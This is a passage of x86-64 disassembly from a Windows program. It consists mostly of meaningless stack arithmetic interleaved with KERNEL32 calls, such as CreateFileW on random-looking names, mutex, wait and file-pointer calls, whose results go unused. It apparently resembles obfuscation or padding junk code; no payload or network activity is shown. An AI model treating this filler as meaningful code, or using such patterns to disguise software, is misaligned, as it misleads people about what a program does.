mov dword [rcx], eax
lea rax, [rsp + 0x9430]
mov qword [rsp + 0xb328], rax
mov rax, qword [rsp + 0xac60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xafc0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d50]
or eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9c58]
mov rcx, qword [rsp + 0xa3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa418]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov word [rsp + 0x1ecc], ax
mov rax, qword [rsp + 0xb0d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e98]
sub eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0x7400]
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0x7b88]
mov rcx, qword [rsp + 0x9670]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x375]
mov rcx, qword [rsp + 0xa730]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x391], al
lea rax, [rsp + 0x3d7c]
mov qword [rsp + 0xb338], rax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12b4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb340], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3358
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4820], eax
mov rax, qword [rsp + 0x7f10]
mov qword [0x14022bc10], rax
lea rax, [rsp + 0x345]
mov qword [rsp + 0xb348], rax
mov eax, dword [rsp + 0x476c]
mov ecx, dword [rsp + 0x4674]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9b40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1e44]
movsx ecx, word [rsp + 0x1518]
and eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d24]
and eax, ecx
mov word [rsp + 0x1d08], ax
mov eax, dword [rsp + 0x48d0]
mov ecx, dword [rsp + 0x4888]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
movzx eax, byte [rsp + 0x380]
mov byte [rsp + 0x397], al
lea rdx, [rsp + 0x47c8]
mov rcx, qword [rsp + 0xa640]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0xaff0]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x72a0], rax
mov r9d, 0x2dc
xor r8d, r8d
lea rdx, [rsp + 0xa4b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4824], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xaec0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb270]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc34], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.m9VERKokqz_bOG6o0El
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb350], rax
lea rax, [rsp + 0x1c7c]
mov qword [0x14022bc18], rax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [rsp + 0xa810]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa218]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f98]
movzx ecx, al
mov rax, qword [rsp + 0x6f78]
shl rax, cl
mov qword [rsp + 0x9cd8], rax
lea rax, [0x140229ff8]
mov qword [rsp + 0xb358], rax
mov r9d, 0xd2d
xor r8d, r8d
lea rdx, [rsp + 0xae90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0xa7f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa050]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c70]
mov word [rcx], ax
mov eax, dword [rsp + 0x477c]
mov dword [rsp + 0x4a00], eax
movsx eax, byte [rsp + 0x388]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37e], al
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8578]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a0]
mov qword [rcx], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0xb360], rax
mov eax, dword [rsp + 0x3e70]
mov ecx, dword [rsp + 0x4958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e9c], eax
mov rax, qword [rsp + 0xae58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e98]
and eax, ecx
mov rcx, qword [0x14022bbd0]
mov word [rcx], ax
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0xb368], rax
lea rdx, [rsp + 0x490c]
mov rcx, qword [rsp + 0xb248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a04], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x12db
mov rcx, qword [rsp + 0xa8f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4814], eax
movzx eax, word [rsp + 0x1d70]
mov rcx, qword [rsp + 0xade0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e80], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.7XAEApJyfzOL9h1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb370], rax
lea rax, [rsp + 0x7400]
mov qword [rsp + 0xb378], rax
mov eax, dword [rsp + 0x4278]
mov ecx, dword [rsp + 0x491c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
mov rax, qword [0x14022bb00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa598]
mov byte [rcx], al
mov rax, qword [rsp + 0x8a70]
mov qword [rsp + 0xb380], rax
movsx eax, word [rsp + 0x1d8c]
movsx ecx, word [rsp + 0x1d98]
add eax, ecx
mov word [rsp + 0xab4], ax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [0x14022bbf0]
mov qword [rsp + 0xb388], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf6a8
mov rcx, qword [rsp + 0xa8f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x499c], eax
lea rax, [rsp + 0x7f10]
mov qword [0x14022bc20], rax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
or eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x76b0]
shl rax, cl
mov rcx, qword [rsp + 0x9cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0xa230]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4778]
shr eax, cl
mov dword [rsp + 0x477c], eax
mov rax, qword [0x14022b808]
mov qword [rsp + 0xb390], rax
mov eax, dword [rsp + 0x41b4]
mov ecx, dword [rsp + 0x39bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe0], eax
movzx eax, byte [rsp + 0x2d6]
movzx ecx, byte [rsp + 0x36c]
add eax, ecx
mov rcx, qword [rsp + 0x98f8]
mov byte [rcx], al
movsx eax, byte [0x14022b812]
movsx ecx, byte [rsp + 0x6a]
and eax, ecx
mov byte [rsp + 0x1ba], al
lea rdx, [rsp + 0x47dc]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a08], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7739
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x495c], eax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140229fd0], ax
mov rax, qword [0x14022bbe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cb8]
sar eax, cl
mov word [rsp + 0x1964], ax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov word [rsp + 0x1ed0], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e9c]
sub eax, ecx
mov rcx, qword [rsp + 0xa330]
mov word [rcx], ax
mov rax, qword [rsp + 0xa028]
mov eax, dword [rax]
mov ecx, dword [0x140229f30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4774], eax
movzx eax, byte [rsp + 0x2c4]
mov byte [rsp + 0x398], al
lea rdx, [rsp + 0x49c4]
mov rcx, qword [rsp + 0xb1f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a0c], eax
mov r9d, 0x7c2
xor r8d, r8d
lea rdx, [rsp + 0x9ef8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0xae50]
mov rcx, qword [rsp + 0x9e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x810], ax
movzx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9c10]
mov word [rcx], ax
mov rax, qword [0x14022bbd8]
mov rcx, qword [rsp + 0x83f0]
xor rcx, rax
mov rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x7ed8]
mov qword [rsp + 0xb398], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.XLeIxvJie
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0x8330]
movzx ecx, al
mov rax, qword [rsp + 0x9a20]
sar rax, cl
mov rcx, qword [rsp + 0xb318]
mov qword [rcx], rax
mov rax, qword [0x14022b8d8]
mov rcx, qword [rsp + 0xaab0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c80], rax
movzx eax, word [rsp + 0x1e8c]
movzx ecx, word [rsp + 0x1ce0]
add eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaf80]
movzx eax, byte [rax]
mov byte [rsp + 0x399], al
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4888]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xad98]
movsx eax, byte [rax]
mov rcx, qword [0x14022bab8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0xad88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf50]
mov qword [rsp + 0xb3a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3a8]
mov rax, qword [rax]
shr rax, cl
mov qword [0x14022a048], rax
lea rdx, [rsp + 0x4a10]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49b0], eax
lea rax, [rsp + 0x17d8]
mov qword [rsp + 0xb3b0], rax
mov rax, qword [rsp + 0xb130]
movsx eax, word [rax]
movsx ecx, word [0x140229f3c]
add eax, ecx
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe78], ax
mov rax, qword [0x14022b830]
mov rcx, qword [rsp + 0x73c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a18], rax
mov rax, qword [rsp + 0xaca0]
mov rcx, qword [rsp + 0xa130]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6f80], rax
movzx eax, byte [rsp + 0x2c3]
mov byte [rsp + 0x39a], al
mov eax, dword [0x14022ba3c]
mov ecx, dword [rsp + 0x4718]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e6c], eax
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
mov word [rsp + 0x1ed4], ax
movzx eax, word [rsp + 0x1d60]
mov word [0x14022bc28], ax
mov r9d, 0x10b8
xor r8d, r8d
lea rdx, [rsp + 0xa500]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4884], eax
mov rax, qword [rsp + 0x8ca8]
movzx ecx, al
mov rax, qword [rsp + 0x9ca0]
shl rax, cl
mov qword [rsp + 0xa388], rax
lea rax, [rsp + 0x19bc]
mov qword [rsp + 0xb3b8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfdc5
mov rcx, qword [rsp + 0xb000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0xb2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x345], al
mov eax, dword [rsp + 0x4750]
mov rcx, qword [rsp + 0xaac0]
mov qword [rsp + 0xb3c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x8ff8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82f8], rax
mov eax, dword [rsp + 0x48ac]
mov ecx, dword [rsp + 0x4978]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d7c], eax
movzx eax, byte [0x14022b812]
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xa1d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c34]
sub eax, ecx
mov word [rsp + 0x1dc4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb3c8], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov word [0x14022bc2c], ax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [0x14022bb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa228], rax
mov rax, qword [rsp + 0xaba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa810]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0xadc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d34]
sar eax, cl
mov rcx, qword [rsp + 0xa738]
mov word [rcx], ax
lea rax, [0x140229fd8]
mov qword [rsp + 0xb3d0], rax
mov rax, qword [rsp + 0xac20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac58]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x96e0]
mov qword [rsp + 0xb3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa818]
mov dword [rcx], eax
lea rax, [rsp + 0xa798]
mov qword [rsp + 0xb3e0], rax
mov rax, qword [rsp + 0xae60]
mov rcx, qword [rsp + 0xa068]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9d58], rax
movsx eax, word [rsp + 0x1d54]
movsx ecx, word [rsp + 0x1e28]
or eax, ecx
mov rcx, qword [0x14022b970]
mov word [rcx], ax
lea rax, [rsp + 0x1e7c]
mov qword [rsp + 0xb3e8], rax
mov eax, dword [rsp + 0x49d8]
mov ecx, dword [rsp + 0x4658]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4744], eax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x369], al
lea rdx, [rsp + 0x49a0]
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0xa9f8]
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xb0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x498c], eax
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb390]
mov qword [rsp + 0xb3f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.z2vHCT9kOlI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb400], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x277]
sar eax, cl
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15dc]
add eax, ecx
mov word [rsp + 0x1b5c], ax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movzx eax, word [rsp + 0x19b8]
movzx ecx, word [0x140229fd8]
sub eax, ecx
mov word [0x14022bc28], ax
mov r9d, 0x23b9
xor r8d, r8d
lea rdx, [rsp + 0xae80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a14], eax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0xb1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0xaa10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc4]
add eax, ecx
mov rcx, qword [rsp + 0xaf48]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdf27
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0xaeb8]
movzx eax, word [rax]
mov word [rsp + 0x1ed8], ax
mov rax, qword [rsp + 0x9810]
movzx ecx, al
mov rax, qword [rsp + 0x8180]
sar rax, cl
mov qword [rsp + 0x9088], rax
lea rax, [rsp + 0xce]
mov qword [rsp + 0xb408], rax
mov rax, qword [0x14022bbc0]
mov rcx, qword [rsp + 0xb328]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9468], rax
lea rdx, [rsp + 0x4a18]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47ec], eax
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [rsp + 0x3f48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4924], eax
mov rcx, qword [rsp + 0xa968]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1e94]
mov qword [rsp + 0xb410], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa748]
mov rcx, qword [0x14022baf8]
mov qword [rsp + 0xb418], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb418]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14022a050], rax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
add eax, ecx
mov byte [rsp + 0x37a], al
mov r9d, 0x19fd
xor r8d, r8d
lea rdx, [rsp + 0xb158]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49dc], eax
lea rax, [rsp + 0x429c]
mov qword [rsp + 0xb420], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.HxK8ehYcxA8Ha
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb428], rax
movsx eax, word [0x14022b820]
movsx ecx, word [rsp + 0x1400]
sub eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1d7c]
movzx ecx, word [rsp + 0x1a94]
sub eax, ecx
mov word [rsp + 0xa58], ax
lea rax, [rsp + 0x282]
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x49f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47b4], eax
mov r9d, 0x160e
xor r8d, r8d
lea rdx, [rsp + 0x9b88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47e8], eax
mov rax, qword [rsp + 0x7960]
mov rcx, qword [rsp + 0xa150]
mov qword [rsp + 0xb438], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb438]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8c58], rax
movsx eax, word [0x140229f78]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e40]
mov word [0x14022bc30], ax
mov rax, qword [rsp + 0xb028]
mov rcx, qword [rsp + 0xa860]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f68], rax
mov rax, qword [rsp + 0xa6c8]
mov qword [rsp + 0xb440], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xb028]
mov rcx, qword [rsp + 0x7fd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x83f0], rax
movzx eax, word [rsp + 0x1b5c]
mov word [rsp + 0x1edc], ax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [0x14022a048]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa898]
mov qword [rcx], rax
lea rax, [rsp + 0x350]
mov qword [rsp + 0xb448], rax
mov rax, qword [rsp + 0xa518]
mov ecx, dword [rsp + 0x4020]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0xb360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x352], al
lea rax, [rsp + 0x488c]
mov qword [rsp + 0xb450], rax
movsx eax, word [rsp + 0x1c9c]
mov rcx, qword [rsp + 0xaf58]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14022ba48]
mov word [rcx], ax
movzx eax, word [0x14022bb10]
movzx ecx, word [rsp + 0x1d68]
xor eax, ecx
mov word [rsp + 0x1e24], ax
movzx eax, word [rsp + 0x1dfc]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1468], ax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9710]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa040], rax
movsx eax, byte [rsp + 0x397]
mov rcx, qword [rsp + 0x9ea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x75e8]
mov qword [rsp + 0xb458], rax
mov eax, dword [rsp + 0x4754]
mov ecx, dword [rsp + 0x473c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4020], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.zDNmAuYMF0x3cy3IpVrD4s5S
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb460], rax
movzx eax, word [rsp + 0x1d3c]
mov word [rsp + 0x1ee0], ax
movzx eax, word [rsp + 0x1274]
mov rcx, qword [rsp + 0xb3b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xabd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb258]
mov rcx, qword [0x14022b868]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a058], rax
movzx eax, word [rsp + 0x1d2c]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0x19c0], ax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0xa8e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7218], rax
mov rax, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xa078]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
lea rax, [rsp + 0x4834]
mov qword [rsp + 0xb468], rax
mov rax, qword [rsp + 0x9cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9398]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xac70], rax
lea rax, [rsp + 0x4674]
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
shl eax, cl
mov byte [rsp + 0x36f], al
mov rax, qword [rsp + 0xa0f0]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b812]
xor eax, ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0xafc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa950]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022b8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb238]
movzx eax, word [rax]
mov word [rsp + 0x1ee4], ax
mov rax, qword [rsp + 0xa840]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa7b8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x36d1
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47d4], eax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0x1e8c]
add eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0xaa68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0xada8]
mov rcx, qword [rsp + 0xac70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f70], rax
mov eax, dword [rsp + 0x4864]
mov dword [rsp + 0x4a1c], eax
mov rax, qword [rsp + 0x9f40]
movsx eax, word [rax]
movsx ecx, word [0x140229fa8]
sar eax, cl
